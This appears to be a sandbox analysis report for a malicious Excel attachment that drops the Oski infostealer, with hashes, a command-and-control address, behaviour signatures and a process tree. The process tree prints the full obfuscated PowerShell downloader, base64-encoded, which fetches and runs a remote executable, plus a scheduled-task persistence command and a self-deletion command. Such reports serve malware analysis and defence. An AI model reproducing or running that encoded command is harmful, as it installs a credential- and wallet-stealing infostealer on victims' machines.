Analysis

  • max time kernel
    239s
  • max time network
    241s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    06/08/2021, 13:51

General

  • Target

    SAMPLE_ORDER_.xls

  • Size

    43KB

  • MD5

    bc998900cfb06a407c973873ba745776

  • SHA1

    232f5703a4744258407157e9f3b06b4c15171ef8

  • SHA256

    78bbff7297f8be0a95a2c3942c7c8d80bd6d68bc561543ba7c4275eb2e15e649

  • SHA512

    f80a6648c48ae90d9819cf1297358e1da2503a7a6dfad8398d78bdc9d8c6d02bde409b49ff4033fc70f1512003673c381a052491c431d7ff719abe1ac7b0d473

Malware Config

Extracted

Family

oski

C2

185.212.131.198/ww/

Signatures

  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • Downloads MZ/PE file
  • Loads dropped DLL 5 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Checks processor information in registry 2 TTPs 1 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\SAMPLE_ORDER_.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c pO^W^Ers^He^LL -e WwBzAFkAUwBUAEUAbQAuAHQARQB4AFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAdQBOAGkAQwBvAGQAZQAuAEcARQB0AHMAdAByAGkAbgBHACgAWwBTAHkAUwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoAZgByAE8ATQBCAEEAUwBlADYANABTAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcASQBBAGIAZwBCAHcAQQBIAGMAQQBkAEEAQgBxAEEASABrAEEAYwB3AEIAeQBBAEcAbwBBAGQAUQBCAGoAQQBIAGMAQQBaAGcAQgBzAEEARwBvAEEAYQB3AEIAbQBBAEcAcwBBAGMAUQBCAGkAQQBIAFkAQQBkAGcAQgAzAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAUQBCAHQAQQBIAFkAQQBaAFEAQgBqAEEASABRAEEAYwB3AEIAagBBAEgARQBBAFkAUQBCADMAQQBHADAAQQBkAHcAQgBqAEEARwBnAEEAYQBBAEIAawBBAEgAVQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAzAEEARwBnAEEAYwB3AEIAbgBBAEgASQBBAGQAdwBCAGkAQQBIAE0AQQBjAGcAQgBtAEEARwBzAEEAWgBBAEIAcgBBAEcAYwBBAGMAdwBCADAAQQBHADQAQQBhAEEAQgB2AEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBHAGsAQQBUAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAGIAUQBCAHYAQQBFAFEAQQBWAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAFYAQQBCAHoAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAUQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBFAGsAQQBkAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEUANABBAGMAdwBCAEcAQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAYwB3AEIAUABBAEYAVQBBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQBrAEEARwBrAEEAYgBRAEIAMgBBAEcAVQBBAFkAdwBCADAAQQBIAE0AQQBZAHcAQgB4AEEARwBFAEEAZAB3AEIAdABBAEgAYwBBAFkAdwBCAG8AQQBHAGcAQQBaAEEAQgAxAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBoAEEASABRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAGMAQQBhAEEAQgB6AEEARwBjAEEAYwBnAEIAMwBBAEcASQBBAGMAdwBCAHkAQQBHAFkAQQBhAHcAQgBrAEEARwBzAEEAWgB3AEIAegBBAEgAUQBBAGIAZwBCAG8AQQBHADgAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAYwBBAGEAQQBCAHoAQQBHAGMAQQBjAGcAQgAzAEEARwBJAEEAYwB3AEIAeQBBAEcAWQBBAGEAdwBCAGsAQQBHAHMAQQBaAHcAQgB6AEEASABRAEEAYgBnAEIAbwBBAEcAOABBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEAUABRAEEAawBBAEUAVQBBAGIAZwBCAFcAQQBEAG8AQQBkAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCAHMAQQBIAG8AQQBlAGcAQgB1AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBpAEEARwA0AEEAYwBBAEIAMwBBAEgAUQBBAGEAZwBCADUAQQBIAE0AQQBjAGcAQgBxAEEASABVAEEAWQB3AEIAMwBBAEcAWQBBAGIAQQBCAHEAQQBHAHMAQQBaAGcAQgByAEEASABFAEEAWQBnAEIAMgBBAEgAWQBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAHcAQQAwAEEAQwA4AEEAUgB3AEIANABBAEcATQBBAFEAUQBCAGsAQQBHAGsAQQBlAGcAQgBXAEEARwA0AEEAVABRAEIAdQBBAEQARQBBAFUAZwBCAEMAQQBFADgAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHkAQQBHAHMAQQBaAGcAQgBwAEEARwBvAEEAYwBnAEIAdQBBAEgAZwBBAGUAUQBCADUAQQBHAFEAQQBZAGcAQgB0AEEASABjAEEAWQB3AEIAawBBAEcAdwBBAGIAZwBCADUAQQBIAGsAQQBkAFEAQgBpAEEARwBVAEEAYQBBAEIAaQBBAEQAcwBBAEQAUQBBAEsAQQBHAEkAQQBiAGcAQgB3AEEASABjAEEAZABBAEIAcQBBAEgAawBBAGMAdwBCAHkAQQBHAG8AQQBkAFEAQgBqAEEASABjAEEAWgBnAEIAcwBBAEcAbwBBAGEAdwBCAG0AQQBHAHMAQQBjAFEAQgBpAEEASABZAEEAZABnAEIAMwBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAEwAZwBBAHoAQQBEAFEAQQBMAHcAQgBIAEEASABnAEEAWQB3AEIAQgBBAEcAUQBBAGEAUQBCADYAQQBGAFkAQQBiAGcAQgBOAEEARwA0AEEATQBRAEIAUwBBAEUASQBBAFQAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHUAQQBIAEEAQQBkAHcAQgAwAEEARwBvAEEAZQBRAEIAegBBAEgASQBBAGEAZwBCADEAQQBHAE0AQQBkAHcAQgBtAEEARwB3AEEAYQBnAEIAcgBBAEcAWQBBAGEAdwBCAHgAQQBHAEkAQQBkAGcAQgAyAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATgBBAEEAMgBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQATQBBAE4AQQBBAHYAQQBFAGMAQQBlAEEAQgBqAEEARQBFAEEAWgBBAEIAcABBAEgAbwBBAFYAZwBCAHUAQQBFADAAQQBiAGcAQQB4AEEARgBJAEEAUQBnAEIAUABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYwBnAEIAcgBBAEcAWQBBAGEAUQBCAHEAQQBIAEkAQQBiAGcAQgA0AEEASABrAEEAZQBRAEIAawBBAEcASQBBAGIAUQBCADMAQQBHAE0AQQBaAEEAQgBzAEEARwA0AEEAZQBRAEIANQBBAEgAVQBBAFkAZwBCAGwAQQBHAGcAQQBZAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA=
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:652
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOWErsHeLL -e WwBzAFkAUwBUAEUAbQAuAHQARQB4AFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAdQBOAGkAQwBvAGQAZQAuAEcARQB0AHMAdAByAGkAbgBHACgAWwBTAHkAUwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoAZgByAE8ATQBCAEEAUwBlADYANABTAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcASQBBAGIAZwBCAHcAQQBIAGMAQQBkAEEAQgBxAEEASABrAEEAYwB3AEIAeQBBAEcAbwBBAGQAUQBCAGoAQQBIAGMAQQBaAGcAQgBzAEEARwBvAEEAYQB3AEIAbQBBAEcAcwBBAGMAUQBCAGkAQQBIAFkAQQBkAGcAQgAzAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAUQBCAHQAQQBIAFkAQQBaAFEAQgBqAEEASABRAEEAYwB3AEIAagBBAEgARQBBAFkAUQBCADMAQQBHADAAQQBkAHcAQgBqAEEARwBnAEEAYQBBAEIAawBBAEgAVQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAzAEEARwBnAEEAYwB3AEIAbgBBAEgASQBBAGQAdwBCAGkAQQBIAE0AQQBjAGcAQgBtAEEARwBzAEEAWgBBAEIAcgBBAEcAYwBBAGMAdwBCADAAQQBHADQAQQBhAEEAQgB2AEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBHAGsAQQBUAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAGIAUQBCAHYAQQBFAFEAQQBWAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAFYAQQBCAHoAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAUQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBFAGsAQQBkAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEUANABBAGMAdwBCAEcAQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAYwB3AEIAUABBAEYAVQBBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQBrAEEARwBrAEEAYgBRAEIAMgBBAEcAVQBBAFkAdwBCADAAQQBIAE0AQQBZAHcAQgB4AEEARwBFAEEAZAB3AEIAdABBAEgAYwBBAFkAdwBCAG8AQQBHAGcAQQBaAEEAQgAxAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBoAEEASABRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAGMAQQBhAEEAQgB6AEEARwBjAEEAYwBnAEIAMwBBAEcASQBBAGMAdwBCAHkAQQBHAFkAQQBhAHcAQgBrAEEARwBzAEEAWgB3AEIAegBBAEgAUQBBAGIAZwBCAG8AQQBHADgAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAYwBBAGEAQQBCAHoAQQBHAGMAQQBjAGcAQgAzAEEARwBJAEEAYwB3AEIAeQBBAEcAWQBBAGEAdwBCAGsAQQBHAHMAQQBaAHcAQgB6AEEASABRAEEAYgBnAEIAbwBBAEcAOABBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEAUABRAEEAawBBAEUAVQBBAGIAZwBCAFcAQQBEAG8AQQBkAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCAHMAQQBIAG8AQQBlAGcAQgB1AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBpAEEARwA0AEEAYwBBAEIAMwBBAEgAUQBBAGEAZwBCADUAQQBIAE0AQQBjAGcAQgBxAEEASABVAEEAWQB3AEIAMwBBAEcAWQBBAGIAQQBCAHEAQQBHAHMAQQBaAGcAQgByAEEASABFAEEAWQBnAEIAMgBBAEgAWQBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAHcAQQAwAEEAQwA4AEEAUgB3AEIANABBAEcATQBBAFEAUQBCAGsAQQBHAGsAQQBlAGcAQgBXAEEARwA0AEEAVABRAEIAdQBBAEQARQBBAFUAZwBCAEMAQQBFADgAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHkAQQBHAHMAQQBaAGcAQgBwAEEARwBvAEEAYwBnAEIAdQBBAEgAZwBBAGUAUQBCADUAQQBHAFEAQQBZAGcAQgB0AEEASABjAEEAWQB3AEIAawBBAEcAdwBBAGIAZwBCADUAQQBIAGsAQQBkAFEAQgBpAEEARwBVAEEAYQBBAEIAaQBBAEQAcwBBAEQAUQBBAEsAQQBHAEkAQQBiAGcAQgB3AEEASABjAEEAZABBAEIAcQBBAEgAawBBAGMAdwBCAHkAQQBHAG8AQQBkAFEAQgBqAEEASABjAEEAWgBnAEIAcwBBAEcAbwBBAGEAdwBCAG0AQQBHAHMAQQBjAFEAQgBpAEEASABZAEEAZABnAEIAMwBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAEwAZwBBAHoAQQBEAFEAQQBMAHcAQgBIAEEASABnAEEAWQB3AEIAQgBBAEcAUQBBAGEAUQBCADYAQQBGAFkAQQBiAGcAQgBOAEEARwA0AEEATQBRAEIAUwBBAEUASQBBAFQAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHUAQQBIAEEAQQBkAHcAQgAwAEEARwBvAEEAZQBRAEIAegBBAEgASQBBAGEAZwBCADEAQQBHAE0AQQBkAHcAQgBtAEEARwB3AEEAYQBnAEIAcgBBAEcAWQBBAGEAdwBCAHgAQQBHAEkAQQBkAGcAQgAyAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATgBBAEEAMgBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQATQBBAE4AQQBBAHYAQQBFAGMAQQBlAEEAQgBqAEEARQBFAEEAWgBBAEIAcABBAEgAbwBBAFYAZwBCAHUAQQBFADAAQQBiAGcAQQB4AEEARgBJAEEAUQBnAEIAUABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYwBnAEIAcgBBAEcAWQBBAGEAUQBCAHEAQQBIAEkAQQBiAGcAQgA0AEEASABrAEEAZQBRAEIAawBBAEcASQBBAGIAUQBCADMAQQBHAE0AQQBaAEEAQgBzAEEARwA0AEEAZQBRAEIANQBBAEgAVQBBAFkAZwBCAGwAQQBHAGcAQQBZAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1060
        • C:\Users\Admin\AppData\Local\Temp\lzzn.exe
          "C:\Users\Admin\AppData\Local\Temp\lzzn.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1632
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BqppCjWADhQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmp5CD0.tmp"
            5⤵
            • Creates scheduled task(s)
            PID:1920
          • C:\Users\Admin\AppData\Local\Temp\lzzn.exe
            "C:\Users\Admin\AppData\Local\Temp\lzzn.exe"
            5⤵
              PID:1412
            • C:\Users\Admin\AppData\Local\Temp\lzzn.exe
              "C:\Users\Admin\AppData\Local\Temp\lzzn.exe"
              5⤵
                PID:1232
              • C:\Users\Admin\AppData\Local\Temp\lzzn.exe
                "C:\Users\Admin\AppData\Local\Temp\lzzn.exe"
                5⤵
                • Loads dropped DLL
                • Checks processor information in registry
                • Suspicious use of WriteProcessMemory
                PID:1208
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /pid 1208 & erase C:\Users\Admin\AppData\Local\Temp\lzzn.exe & RD /S /Q C:\\ProgramData\\971277384448321\\* & exit
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:868
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /pid 1208
                    7⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1360

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • memory/1060-66-0x0000000000FD0000-0x0000000000FD1000-memory.dmp

              Filesize

              4KB

            • memory/1060-89-0x00000000009C0000-0x00000000009C1000-memory.dmp

              Filesize

              4KB

            • memory/1060-70-0x0000000002790000-0x0000000002791000-memory.dmp

              Filesize

              4KB

            • memory/1060-73-0x0000000005600000-0x0000000005601000-memory.dmp

              Filesize

              4KB

            • memory/1060-78-0x00000000056B0000-0x00000000056B1000-memory.dmp

              Filesize

              4KB

            • memory/1060-79-0x0000000005750000-0x0000000005751000-memory.dmp

              Filesize

              4KB

            • memory/1060-86-0x0000000006250000-0x0000000006251000-memory.dmp

              Filesize

              4KB

            • memory/1060-87-0x000000007EF30000-0x000000007EF31000-memory.dmp

              Filesize

              4KB

            • memory/1060-88-0x0000000006290000-0x0000000006291000-memory.dmp

              Filesize

              4KB

            • memory/1060-69-0x0000000001140000-0x0000000001141000-memory.dmp

              Filesize

              4KB

            • memory/1060-68-0x0000000002620000-0x000000000326A000-memory.dmp

              Filesize

              12.3MB

            • memory/1060-67-0x00000000047F0000-0x00000000047F1000-memory.dmp

              Filesize

              4KB

            • memory/1060-65-0x0000000075801000-0x0000000075803000-memory.dmp

              Filesize

              8KB

            • memory/1080-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

              Filesize

              64KB

            • memory/1080-61-0x0000000070E31000-0x0000000070E33000-memory.dmp

              Filesize

              8KB

            • memory/1080-98-0x000000005FFF0000-0x0000000060000000-memory.dmp

              Filesize

              64KB

            • memory/1080-60-0x000000002F171000-0x000000002F174000-memory.dmp

              Filesize

              12KB

            • memory/1208-101-0x0000000000400000-0x0000000000438000-memory.dmp

              Filesize

              224KB

            • memory/1208-104-0x0000000000400000-0x0000000000438000-memory.dmp

              Filesize

              224KB

            • memory/1632-97-0x0000000004690000-0x00000000046C4000-memory.dmp

              Filesize

              208KB

            • memory/1632-96-0x0000000007FA0000-0x0000000008033000-memory.dmp

              Filesize

              588KB

            • memory/1632-95-0x0000000001DF0000-0x0000000001E03000-memory.dmp

              Filesize

              76KB

            • memory/1632-94-0x0000000004730000-0x0000000004731000-memory.dmp

              Filesize

              4KB

            • memory/1632-92-0x0000000000260000-0x0000000000261000-memory.dmp

              Filesize

              4KB